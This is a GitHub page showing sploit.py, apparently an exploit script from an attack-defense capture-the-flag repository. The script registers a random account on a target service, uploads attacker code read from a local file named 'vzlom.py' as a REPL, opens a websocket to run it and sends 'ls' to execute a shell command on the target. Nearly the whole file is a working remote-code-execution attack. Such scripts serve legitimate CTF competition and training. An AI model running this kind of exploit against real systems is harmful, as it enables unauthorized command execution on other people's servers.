generated from C4T-BuT-S4D/ad-boilerplate
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsploit.py
40 lines (35 loc) · 962 Bytes
/
sploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from checklib import *
import requests
import sys
import websocket
HOST = sys.argv[1]
PORT = 7117
def main():
url = f"http://{HOST}:{PORT}"
ws_url = f"ws://{HOST}:{PORT}"
username = rnd_username()
password = rnd_password()
session = get_initialized_session()
token = session.post(
f"{url}/api/register",
json={
"login": username,
"password": password,
},
).json()["message"]["token"]
session.headers["Authorization"] = f"Bearer {token}"
with open("vzlom.py") as f:
repl_code = f.read()
repl_id = session.put(f"{url}/api/repl", json={"code": repl_code}).json()[
"message"
]["id"]
ws = websocket.WebSocket()
ws.connect(
f"{ws_url}/api/run/{repl_id}",
header={"Authorization": session.headers["Authorization"]},
)
ws.send_binary("ls\n")
_, data = ws.recv_data()
print(data)
if __name__ == "__main__":
main()